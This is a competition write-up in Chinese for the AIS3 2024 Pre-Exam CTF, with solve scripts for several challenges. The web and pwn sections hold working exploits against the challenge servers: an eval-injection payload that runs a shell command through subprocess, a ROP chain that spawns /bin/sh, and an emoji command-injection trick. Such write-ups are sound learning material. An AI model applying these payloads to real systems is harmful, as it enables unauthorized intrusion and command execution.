AIS3 2024 Pre-Exam Write Up === :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/H1QFsMdHC.png"> <p style="font-size:20px">RK: 41/328</p> </div> ::: --- ## MISC ### Welcome :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HknllbdBR.png"> </div> ::: ### Quantum Nim Heist :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/SkpH9X3HC.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/SJAaNQ_SA.png"> <p>拿石頭遊戲,最後拿就贏</p> </div> ::: :::success 動手多玩幾次發現有個bug可以跳過回合,一直跳過回合直到剩下一排自己拿走就獲勝了 ```python= from pwn import process, remote import sys io = ( process(["python3", "server.py"]) if len(sys.argv) == 1 else remote("chals1.ais3.org", 40004) if sys.argv[1] == "remote" else (print("Invalid argument") or sys.exit(1)) ) io.sendline(b"1") io.sendline(b"0") io.sendline(b"0") io.sendline(b"1") io.recvuntil("+---+-------------- stones info ------------------+\n") while True: io.recvuntil("+---+-------------- stones info ------------------+\n") io.recvuntil("+---+-------------- stones info ------------------+\n") n = [] s = io.recvuntil("+---+--------------- game menu -------------------+\n").decode().strip() for i in s.split("\n")[:-1]: n.append(i.count("o")) if len(n) > 1: io.sendline(b"") else: io.sendline(b"0") io.sendline(b"0") io.sendline(str(n[0]).encode()) break print(io.recvuntil("+-------------------------------------------------+").decode().strip().split("\n")[-2].split(" ")[1].split(" ")[0]) ``` AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} ::: :::warning `choice`判斷時沒有用else所以可以跳過回合,但是一定要玩一回合的原因是玩家先動, 如果`count`跟`pile`還沒宣告呼叫`print_move('you', count, pile)`,裡面的 `print('| ' + f'{person} removed {count} stones from pile {pile}'.ljust(47) + ' |')` 會噴錯 ```python= while not game.ended(): game.show() print_game_menu() choice = input('it\'s your turn to move! what do you choose? ').strip() if choice == '0': pile = int(input('which pile do you choose? ')) count = int(input('how many stones do you remove? ')) if not game.make_move(pile, count): print_error('that is not a valid move!') continue elif choice == '1': game_str = game.save() digest = hash.hexdigest(game_str.encode()) print('you game has been saved! here is your saved game:') print(game_str + ':' + digest) return elif choice == '2': break # no move -> player wins! if game.ended(): win = True break else: print_move('you', count, pile) game.show() ``` ::: ### Three Dimensional Secret :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HJXJHMuBA.png"> </div> ::: :::success 裡面只有一個WireShark的pcapng,裡面有一堆`G1 F1200 X113.079 Y147.223 E1.55258`之類的的座標,OSINT一下找到了G-code,又找到了線上的`NC viewer`,寫個Python過濾整理一下 ```python= s = ["ST", "MAN", "MX", "USER"] a = open("./capture.pcapng", "rb").read().split(b"\r\n") b = [i.decode().strip() for i in a if len(i) <= 50] f = open("output", "w") for i in b: r = True if i == "": continue for j in s: if j in i: r = False break if r: f.write(i + "\n") ``` <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HygEGXuB0.png"> </div> ::: :::warning <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/SJ4b4rar0.png"> <p>我後來才知道有Follow TCP Stream這東東==</p> </div> ::: ### Emoji Console :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/rJeHHM_SR.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/S1VOHzuBR.png"> </div> ::: :::success 🐱 ⭐ cat * 💿 🚩 😜😐 🐱 ⭐ cd flag ;p:| cat * 💿 🚩 😜😐 🐍 ⭐ cd flag ;p:| python * AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} ::: :::warning <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/BJ6bX7dSR.png"> <p>好爛喔,我怎麼沒想到🐱 ⭐搞半天==</p> </div> ::: ### Hash Guesser (賽後解) :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/rJt4REdB0.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/H1FtCNur0.png"> <p>一個可以上傳圖片的網頁</p> </div> ```python= def is_same_image(img1: Image.Image, img2: Image.Image) -> bool: return ImageChops.difference(img1, img2).getbbox() == None uploaded_image = Image.open(file.stream) target_image = generate_image() if util.is_same_image(uploaded_image, target_image): return jsonify({"flag": FLAG}) else: return jsonify({"error": "Wrong guess"}), 400 ``` ::: :::success 就生一個沒填顏色的圖片就沒有Bounding Box ```python= uploaded_image = Image.new("L", (1, 1), 0) uploaded_image.save("empty_image.png") ``` AIS3{https://github.com/python-pillow/Pillow/issues/2982} ::: <div style="text-align: center;"> <img src="https://cdn.7tv.app/emote/61e61d3c1f8f9d5cf633a586/4x.webp", width="70%"> </div> :::warning <div style="text-align: center;"> 不是我怎麼沒有解出這題<img src="https://cdn.7tv.app/emote/63c8a6c330027778647b3de8/4x.webp", width="10%"> 解完就前30了欸<img src="https://cdn.7tv.app/emote/60b1517fdb601b4ac8ed7916/4x.webp", width="5%"> </div> ::: --- ## Web ### Evil Calculator :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HJreUfuHA.png"> <p>就是一個計算機的網頁</p> </div> ```python= @app.route('/calculate', methods=['POST']) def calculate(): data = request.json expression = data['expression'].replace(" ","").replace("_","") try: result = eval(expression) except Exception as e: result = str(e) return jsonify(result=str(result)) ``` ::: :::success ```python= import requests ip = "http://chals1.ais3.org:5001/calculate" payload = "eval(\"AAimportAA('subprocess').run(['cat', '../flag'], captureAoutput=True, text=True)\".replace('A', chr(95)))" data = { "expression": payload } response = requests.post(ip, json=data) result = response.json() flag = result['result'] print(flag) ``` CompletedProcess(args=['cat', '../flag'], returncode=0, stdout='AIS3{7RiANG13_5NAK3_I5_50_3Vi1}', stderr='') ::: :::warning 多一個`eval()`是為了為了繞過`replace()`,原本的`eval()`才能跑正確的payload ```python= expression = data['expression'].replace(" ","").replace("_","") ``` ::: --- ## Reverse ### The Long Point :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/B1DDLz_BC.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/SyNmPXuBR.png"> </div> ::: :::success 用GDB跳過Sleep就能看到flag了 或者整理一下`secret`跟`key` <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/ryIAwmuSR.png"> </div> ```python= secret = [ 0x454B4146, 0x0B, 0x6F6F687B, 0x0A, 0x5F796172, 0x2, 0x69727473, 0x8, 0x5F73676E, 0x6, 0x615F7369, 0x5, 0x7961776C, 0x7, 0x6E615F73, 0x4, 0x6573755F, 0x9, 0x5F6C7566, 0x0, 0x6D6D6F63, 0x1, 0x7D7A6E61, 0x3 ] key = [ 0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 0x3104321A, 0x3E2D161D, 0x2C120A31, 0x0D3E1103, 0x0C1A002C, 0x41D1432, 0x1A003100, 0x76180807 ] for i in range(0, 24, 2): x = secret[i] ^ key[secret[i + 1]] for j in range(4): print(chr(x % 256), end = "") x >>= 8 print() ``` AIS3{You_are_the_master_of_time_management!!!!?} ::: ### 火拳のエース :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/rkL6LMuHR.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/rkSC_mdS0.png"> <p>Flag Checker</p> </div> ::: :::success `complex_function`爆破順序反著做就有Flag了 ```python= def complex_function(a1, a2): if ( a1 <= 64 or a1 > 90 ): print("It feels slightly wrong, but almost correct...") v5 = (17 * a2 + a1 - 65) % 26 v4 = a2 % 3 + 3 if (a2 % 3 == 2): v5 = (v5 - v4 + 26) % 26 elif (a2 % 3 == 1): v5 = (2 * v4 + v5) % 26 else: v5 = (v4 * v5 + 7) % 26 return chr(v5 + 65) res0 = "DHLIYJEG" res1 = "MZRERYND" res2 = "RUYODBAH" res3 = "BKEMPBRE" s0 = [] s1 = [] s2 = [] s3 = [] for i in range(8): for j in range(ord('A'), ord('Z') + 1): if res0[i] == complex_function(j, i): s0.append(j) if res1[i] == complex_function(j, i + 32): s1.append(j) if res2[i] == complex_function(j, i + 64): s2.append(j) if res3[i] == complex_function(j, i + 96): s3.append(j) xor0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04, 0x00] xor1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11, 0x00] xor2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71, 0x00] xor3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33, 0x00] flag0 = "".join([chr(i ^ j) for i, j in zip(xor0, s0)]) flag1 = "".join([chr(i ^ j) for i, j in zip(xor1, s1)]) flag2 = "".join([chr(i ^ j) for i, j in zip(xor2, s2)]) flag3 = "".join([chr(i ^ j) for i, j in zip(xor3, s3)]) print(f"AIS3{{G0D{flag0}{flag1}{flag2}{flag3}") ``` AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} ::: --- ## Pwn ### Mathter :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/S1CdDG_SR.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HkXxs7uHA.png"> </div> <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/r1Kqc7OBA.png"> <p>能BOF那就ROP吧</p> </div> ::: :::success - ROPgadget --binary mathter --multibr --only "mov|ret|pop|ret|syscall" > gadget - 0x000000000042e3a7 : pop rax ; ret - 0x0000000000402540 : pop rdi ; ret - 0x00000000004126a3 : pop rsi ; ret - 0x000000000047b917 : pop rdx ; pop rbx ; ret - 0x000000000042f981 : mov qword ptr [rsi], rax ; ret - 0x000000000041a5e2 : syscall ; ret - objdump -s -j .data mathter - mathter: file format elf64-x86-64 - Contents of section .data: - 4bc000 00000000 00000000 00000000 00000000 ................ ```python= from pwn import process, remote, make_packer, flat import sys io = ( process("./mathter") if len(sys.argv) == 1 else remote("chals1.ais3.org", 50001) if sys.argv[1] == "remote" else (print("Invalid argument") or sys.exit(1)) ) p64 = make_packer(64) io.sendline(b"q") free_buffer = p64(0x4bc000) pop_rax = p64(0x000000000042e3a7) pop_rdi = p64(0x0000000000402540) pop_rsi = p64(0x00000000004126a3) pop_rdx_rbx = p64(0x000000000047b917) mov_qword_ptr_rsi_rax = p64(0x000000000042f981) alignment = p64(0x401ac6) syscall = p64(0x000000000041a5e2) io.sendline(flat( b"A" * 12, pop_rsi, free_buffer, pop_rax, b"/bin/sh\0", mov_qword_ptr_rsi_rax, pop_rdi, free_buffer, pop_rsi, p64(0), pop_rdx_rbx, p64(0), p64(0), pop_rax, p64(0x3b), alignment, syscall )) io.interactive() ``` AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ::: --- ## Crypto ### babyRSA :::info <div style="text-align: center;"> <img src="https://hackmd.io/_uploads/HyhXPMdrA.png"> </div> ```python= def encrypt(pk, plaintext): key, n = pk cipher = [pow(ord(char), key, n) for char in plaintext] return cipher ``` ::: :::success 直接爆破 ```python= from string import printable s = open("./output.txt", "r").read().replace(":", "=").split("\n") PublicKey = eval(s[0].split("= ")[1]) Encrypted = eval(s[1].split("= ")[1]) m = {} for i in printable: m[pow(ord(i), PublicKey[0], PublicKey[1])] = i print("".join([m[i] for i in Encrypted])) ``` @)!,\*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&\* ::: :::danger <div style="text-align: center;"> 本來還想解一題Reverse結果視窗程式真的不太會逆==我再去練練,下次一定RK30以前 </div> ::: :::spoiler <div style="text-align: center;"> <img src="https://cdn.7tv.app/emote/62f117fcda653a5a47abbed1/4x.webp", width="50%"> <p style="font-size:50px">下次一定</p> <div style="text-align: right;"> <p style="font-size:25px">-Niiixkz</p> </div> </div> :::